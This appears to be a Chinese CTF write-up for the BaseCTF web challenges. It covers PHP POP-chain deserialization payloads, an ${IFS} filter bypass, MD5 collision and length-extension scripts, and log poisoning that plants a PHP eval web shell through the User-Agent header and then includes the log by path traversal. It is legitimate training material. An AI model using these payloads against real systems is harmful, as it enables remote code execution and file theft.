BaseCTF-web

[Week2] ez_ser

源代码+poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;#3 chu0=new pwn()
}
}

class web {#5
public $kw;
public $dt;

public function __wakeup() {
echo "lalalla".$this->kw;#4 kw=new re()
}

public function __destruct() {
echo "ALL Done!";
}
}

class pwn {
public $dusk;
public $over;

public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();#2 over=new Misc()
}
}
class Misc {
public $nothing;
public $flag;

public function getflag() {
eval("system('cat /flag');");#1
}
}

class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}

public function getflag() {
echo "you are over!";
}
}
$a=new web();
$a->kw=new re();
$a->kw->chu0=new pwn();
$a->kw->chu0->over=new Misc();
$a->kw->chu0->dusk="gods";
echo serialize($a)
?>

[Week2] 一起吃豆豆

f12查看源代码,找到一串base64字符串

context.fillText(_LIFE ? atob(“QmFzZUNURntKNV9nYW0zXzFzX2Vhc3lfdDBfaDRjayEhfQ==”) : ‘GAME OVER’, this.x, this.y);

解码得到

BaseCTF{J5_gam3_1s_easy_t0_h4ck!!}

[Week2] 你听不到我的声音

shell_exec函数没有回显,使用

记得改大小写加花括号BaseCTF{…}

反弹shell没成功,不知道什么原因

[Week2] RCEisamazingwithspace

只过滤了空格,用${IFS}代替即可

cat${IFS}/flag

[Week2] Really EZ POP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);

class Sink
{
private $cmd = 'system("cat /flag");';#private
public function __toString()
{
eval($this->cmd);#1 $cmd为执行的命令
return '666';
}
}

class Shark
{
var $word ;#!!!private
public function __invoke()
{
echo 'Shark says:' . $this->word;#2 $word=new Sink()
}
}

class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();#3 $animal=new Shark()
}
}

class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;#4 $sea=new Sea()
}
}

if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}

$a=new Nature();
$a->sea=new Sea();
$a->sea->animal=new Shark();
$a->sea->animal->word=new Sink();
echo (serialize($a));

注意第二个private类型必须更改s:11:”%00Shark%00word”;

payload:nature=O%3a6%3a"Nature"%3a1%3a{s%3a3%3a"sea"%3bO%3a3%3a"Sea"%3a1%3a{s%3a6%3a"animal"%3bO%3a5%3a"Shark"%3a1%3a{s%3a11%3a"%00Shark%00word"%3bO%3a4%3a"Sink"%3a1%3a{s%3a9%3a"%00Sink%00cmd"%3bs%3a20%3a"system("cat%20/flag")%3b"%3b}}}}

[Week2] 数学大师

先贴脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import re
import time
session = requests.Session()
session.cookies.set('PHPSESSID', 'rpskb0cmsdml473qgbumlau9gr') # 替换为实际的 cookie 名称和值
flag=0
while True:
# 1. 使用 requests 获取网页内容
url = 'http://challenge.basectf.fun:22057/' # 替换为目标网页的 URL
if flag == 0:
response = session.get(url)
html = response.text
print(html)
match = re.search(r'(\d+[\+\-×÷]\d+)', html)
if match:
expression = match.group(1) # 提取匹配的表达式
# 替换运算符为 Python 可识别的运算符
expression = expression.replace('×', '*').replace('÷', '//')
result = eval(expression) # 计算表达式
print(f"提取的表达式: {match.group(1)}")
print(f"计算结果: {result}")

if result is not None:
post_url = 'http://challenge.basectf.fun:22057/' # 替换为目标 POST URL
post_data = {'answer': result}
post_response = session.post(post_url, data=post_data)

# 输出响应
print(post_response.text)
flag = 1
match = re.search(r'(\d+[\+\-×÷]\d+)', post_response.text)

time.sleep(0.01)
else:
print("未找到表达式。")

注意几个点:使用session来记录会话,可以在浏览器控制台的应用找到

使用flag标签防止第二次循环多请求一次导致清零

[Week2] 所以你说你懂 MD5?

payload:

1
apple[]=1&banana[]=2&appple=QNKCDZO&bananana=240610708&apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&md5=156f8018c7da3674f6912c9e5ae2aaa5&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin

脚本md5.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
import my_md5
import sys
import six
import urllib

MD5_Hash = '739ba4f9b7df3a240bf5ea17c27f1827'
length = 96 # 将长度设置为96
text = 'admin'

s1 = eval('0x' + MD5_Hash[:8].decode('hex')[::-1].encode('hex'))
s2 = eval('0x' + MD5_Hash[8:16].decode('hex')[::-1].encode('hex'))
s3 = eval('0x' + MD5_Hash[16:24].decode('hex')[::-1].encode('hex'))
s4 = eval('0x' + MD5_Hash[24:32].decode('hex')[::-1].encode('hex'))

secret = "a" * length

# 计算填充
padding_length = 23


# 构建填充数据
test = secret + '\x80' + '\x00' * padding_length + '\x00\x03\x00\x00\x00\x00\x00\x00' + text

s = my_md5.deal_rawInputMsg(test)
r = my_md5.deal_rawInputMsg(secret)
inp = s[len(r):]

print('填充完的数据为:' + urllib.quote(test) + '\n')
print('----------------------------------------------------------')
print('扩充完的数据为(16进制):' + s)
print('----------------------------------------------------------')
print('截取最后分组的数据(16进制):' + inp)
print('----------------------------------------------------------')

print('最终填充结果为:' + bytes(test).encode('hex'))
print("填充后的md5为:" + my_md5.run_md5(s1, s2, s3, s4, inp))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
my_md5.py!
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author:DshtAnger
# theory reference:
# blog:
# http://blog.csdn.net/adidala/article/details/28677393
# http://blog.csdn.net/forgotaboutgirl/article/details/7258109
# http://blog.sina.com.cn/s/blog_6fe0eb1901014cpl.html
# RFC1321:
# https://www.rfc-editor.org/rfc/pdfrfc/rfc1321.txt.pdf
##############################################################################
import sys


def genMsgLengthDescriptor(msg_bitsLenth):
'''
---args:
msg_bitsLenth : the bits length of raw message
--return:
16 hex-encoded string , i.e.64bits,8bytes which used to describe the bits length of raw message added after padding
'''
return __import__("struct").pack(">Q", msg_bitsLenth).encode("hex")


def reverse_hex_8bytes(hex_str):
'''
--args:
hex_str: a hex-encoded string with length 16 , i.e.8bytes
--return:
transform raw message descriptor to little-endian
'''
hex_str = "%016x" % int(hex_str, 16)
assert len(hex_str) == 16
return __import__("struct").pack("<Q", int(hex_str, 16)).encode("hex")


def reverse_hex_4bytes(hex_str):
'''
--args:
hex_str: a hex-encoded string with length 8 , i.e.4bytes
--return:
transform 4 bytes message block to little-endian
'''
hex_str = "%08x" % int(hex_str, 16)
assert len(hex_str) == 8
return __import__("struct").pack("<L", int(hex_str, 16)).encode("hex")


def deal_rawInputMsg(input_msg):
'''
--args:
input_msg : inputed a ascii-encoded string
--return:
a hex-encoded string which can be inputed to mathematical transformation function.
'''
ascii_list = [x.encode("hex") for x in input_msg]
length_msg_bytes = len(ascii_list)
length_msg_bits = len(ascii_list) * 8
# padding
ascii_list.append('80')
while (len(ascii_list) * 8 + 64) % 512 != 0:
ascii_list.append('00')
# add Descriptor
ascii_list.append(reverse_hex_8bytes(genMsgLengthDescriptor(length_msg_bits)))
return "".join(ascii_list)


def getM16(hex_str, operatingBlockNum):
'''
--args:
hex_str : a hex-encoded string with length in integral multiple of 512bits
operatingBlockNum : message block number which is being operated , greater than 1
--return:
M : result of splited 64bytes into 4*16 message blocks with little-endian

'''
M = [int(reverse_hex_4bytes(hex_str[i:(i + 8)]), 16) for i in
xrange(128 * (operatingBlockNum - 1), 128 * operatingBlockNum, 8)]
return M


# 定义函数,用来产生常数T[i],常数有可能超过32位,同样需要&0xffffffff操作。注意返回的是十进制的数
def T(i):
result = (int(4294967296 * abs(__import__("math").sin(i)))) & 0xffffffff
return result


# 定义每轮中用到的函数
# RL为循环左移,注意左移之后可能会超过32位,所以要和0xffffffff做与运算,确保结果为32位
F = lambda x, y, z: ((x & y) | ((~x) & z))
G = lambda x, y, z: ((x & z) | (y & (~z)))
H = lambda x, y, z: (x ^ y ^ z)
I = lambda x, y, z: (y ^ (x | (~z)))
RL = L = lambda x, n: (((x << n) | (x >> (32 - n))) & (0xffffffff))


def FF(a, b, c, d, x, s, ac):
a = (a + F((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
a = RL((a), (s)) & 0xffffffff;
a = (a + b) & 0xffffffff
return a


def GG(a, b, c, d, x, s, ac):
a = (a + G((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
a = RL((a), (s)) & 0xffffffff;
a = (a + b) & 0xffffffff
return a


def HH(a, b, c, d, x, s, ac):
a = (a + H((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
a = RL((a), (s)) & 0xffffffff;
a = (a + b) & 0xffffffff
return a


def II(a, b, c, d, x, s, ac):
a = (a + I((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
a = RL((a), (s)) & 0xffffffff;
a = (a + b) & 0xffffffff
return a


def show_md5(A, B, C, D):
return "".join(["".join(__import__("re").findall(r"..", "%08x" % i)[::-1]) for i in (A, B, C, D)])


def run_md5(A=0x67452301, B=0xefcdab89, C=0x98badcfe, D=0x10325476, readyMsg=""):
a = A
b = B
c = C
d = D

for i in xrange(0, len(readyMsg) / 128):
M = getM16(readyMsg, i + 1)
for i in xrange(16):
exec "M" + str(i) + "=M[" + str(i) + "]"
# First round
a = FF(a, b, c, d, M0, 7, 0xd76aa478L)
d = FF(d, a, b, c, M1, 12, 0xe8c7b756L)
c = FF(c, d, a, b, M2, 17, 0x242070dbL)
b = FF(b, c, d, a, M3, 22, 0xc1bdceeeL)
a = FF(a, b, c, d, M4, 7, 0xf57c0fafL)
d = FF(d, a, b, c, M5, 12, 0x4787c62aL)
c = FF(c, d, a, b, M6, 17, 0xa8304613L)
b = FF(b, c, d, a, M7, 22, 0xfd469501L)
a = FF(a, b, c, d, M8, 7, 0x698098d8L)
d = FF(d, a, b, c, M9, 12, 0x8b44f7afL)
c = FF(c, d, a, b, M10, 17, 0xffff5bb1L)
b = FF(b, c, d, a, M11, 22, 0x895cd7beL)
a = FF(a, b, c, d, M12, 7, 0x6b901122L)
d = FF(d, a, b, c, M13, 12, 0xfd987193L)
c = FF(c, d, a, b, M14, 17, 0xa679438eL)
b = FF(b, c, d, a, M15, 22, 0x49b40821L)
# Second round
a = GG(a, b, c, d, M1, 5, 0xf61e2562L)
d = GG(d, a, b, c, M6, 9, 0xc040b340L)
c = GG(c, d, a, b, M11, 14, 0x265e5a51L)
b = GG(b, c, d, a, M0, 20, 0xe9b6c7aaL)
a = GG(a, b, c, d, M5, 5, 0xd62f105dL)
d = GG(d, a, b, c, M10, 9, 0x02441453L)
c = GG(c, d, a, b, M15, 14, 0xd8a1e681L)
b = GG(b, c, d, a, M4, 20, 0xe7d3fbc8L)
a = GG(a, b, c, d, M9, 5, 0x21e1cde6L)
d = GG(d, a, b, c, M14, 9, 0xc33707d6L)
c = GG(c, d, a, b, M3, 14, 0xf4d50d87L)
b = GG(b, c, d, a, M8, 20, 0x455a14edL)
a = GG(a, b, c, d, M13, 5, 0xa9e3e905L)
d = GG(d, a, b, c, M2, 9, 0xfcefa3f8L)
c = GG(c, d, a, b, M7, 14, 0x676f02d9L)
b = GG(b, c, d, a, M12, 20, 0x8d2a4c8aL)
# Third round
a = HH(a, b, c, d, M5, 4, 0xfffa3942L)
d = HH(d, a, b, c, M8, 11, 0x8771f681L)
c = HH(c, d, a, b, M11, 16, 0x6d9d6122L)
b = HH(b, c, d, a, M14, 23, 0xfde5380c)
a = HH(a, b, c, d, M1, 4, 0xa4beea44L)
d = HH(d, a, b, c, M4, 11, 0x4bdecfa9L)
c = HH(c, d, a, b, M7, 16, 0xf6bb4b60L)
b = HH(b, c, d, a, M10, 23, 0xbebfbc70L)
a = HH(a, b, c, d, M13, 4, 0x289b7ec6L)
d = HH(d, a, b, c, M0, 11, 0xeaa127faL)
c = HH(c, d, a, b, M3, 16, 0xd4ef3085L)
b = HH(b, c, d, a, M6, 23, 0x04881d05L)
a = HH(a, b, c, d, M9, 4, 0xd9d4d039L)
d = HH(d, a, b, c, M12, 11, 0xe6db99e5L)
c = HH(c, d, a, b, M15, 16, 0x1fa27cf8L)
b = HH(b, c, d, a, M2, 23, 0xc4ac5665L)
# Fourth round
a = II(a, b, c, d, M0, 6, 0xf4292244L)
d = II(d, a, b, c, M7, 10, 0x432aff97L)
c = II(c, d, a, b, M14, 15, 0xab9423a7L)
b = II(b, c, d, a, M5, 21, 0xfc93a039L)
a = II(a, b, c, d, M12, 6, 0x655b59c3L)
d = II(d, a, b, c, M3, 10, 0x8f0ccc92L)
c = II(c, d, a, b, M10, 15, 0xffeff47dL)
b = II(b, c, d, a, M1, 21, 0x85845dd1L)
a = II(a, b, c, d, M8, 6, 0x6fa87e4fL)
d = II(d, a, b, c, M15, 10, 0xfe2ce6e0L)
c = II(c, d, a, b, M6, 15, 0xa3014314L)
b = II(b, c, d, a, M13, 21, 0x4e0811a1L)
a = II(a, b, c, d, M4, 6, 0xf7537e82L)
d = II(d, a, b, c, M11, 10, 0xbd3af235L)
c = II(c, d, a, b, M2, 15, 0x2ad7d2bbL)
b = II(b, c, d, a, M9, 21, 0xeb86d391L)

A += a
B += b
C += c
D += d

A = A & 0xffffffff
B = B & 0xffffffff
C = C & 0xffffffff
D = D & 0xffffffff

a = A
b = B
c = C
d = D
print "%x,%x,%x,%x" % (a, b, c, d)

return show_md5(a, b, c, d)

md5长度扩展攻击见https://zu1k.com/posts/security/crypto/md5-hash-length-extension-attack/#%E7%AC%AC%E4%BA%8C%E6%AD%A5%E8%AE%B0%E5%BD%95%E4%BF%A1%E6%81%AF%E9%95%BF%E5%BA%A6

[Week3] ez_php_jail

当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这
[ 会被直接转为_ ,但是后⾯如果有 . ,这个 . 就不会被转为_

过滤了

1
2
/(`|\$|a|c|s|require|include)/i
highlight_file('/f*');#highlight_file读取文件

https://www.freebuf.com/articles/web/319567.html

但是上面的读取方法是无效的,引用gpt的回答

highlight_file(‘/f*’); 和highlight_file(glob(“/f*”)[0]); 都能读取文件吗?

在 PHP 中,highlight_file 函数用于高亮显示指定文件的内容。你提到的两种用法都可以读取文件,但它们的工作方式略有不同。

1. highlight_file('/f*')

这个用法是直接传递一个字符串 '/f*'highlight_file。然而,这种用法是无效的,因为 highlight_file 需要一个具体的文件路径,而不是一个模式。'/f*' 只是一个模式,PHP 不会将其解析为文件路径。因此,这种用法会导致错误。

2. highlight_file(glob("/f*")[0])

这个用法是有效的。这里的 glob("/f*") 会返回一个数组,包含所有匹配 /f* 模式的文件路径。[0] 取数组中的第一个元素(即第一个匹配的文件路径),然后将其传递给 highlight_file。如果存在匹配的文件,这种用法将成功读取并高亮显示该文件的内容。

[Week3] 滤个不停

先贴源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}

if ($is_valid) {

$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}


include($Datch);
} else {
die('文件名不合规 请重试');
}
?>

过滤了所有伪协议,可以采用包含日志的方法

包含Apache、nginx日志文件

默认nginx的日志路径为 /var/log/nginx/access.log

默认apache/var/log/apache2/access.log /var/log/apache2/access.log

或者通过phpinfo()查看

在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log

直接访问127.0.0.1/<?php phpinfo();>,服务器的日志文件就会解析出这个url,但是被url编码,所以用burpsuite拦截一下更改成未编码的语句

之后通过访问日志文件的位置,执行php代码

注意:如果是UA头注入代码,必须一次写对,如果出错,文件包含执行的时候会报fatal error不再向下解析后续再写入的php代码(环境被污染)

1
2
3
4
5
php
?file=../../../../../../var/log/nginx/access.log
UA:<?php eval($_POST[1]);?>

post:1=system('tac /f*');

修改UA进不去的时候试试burp发包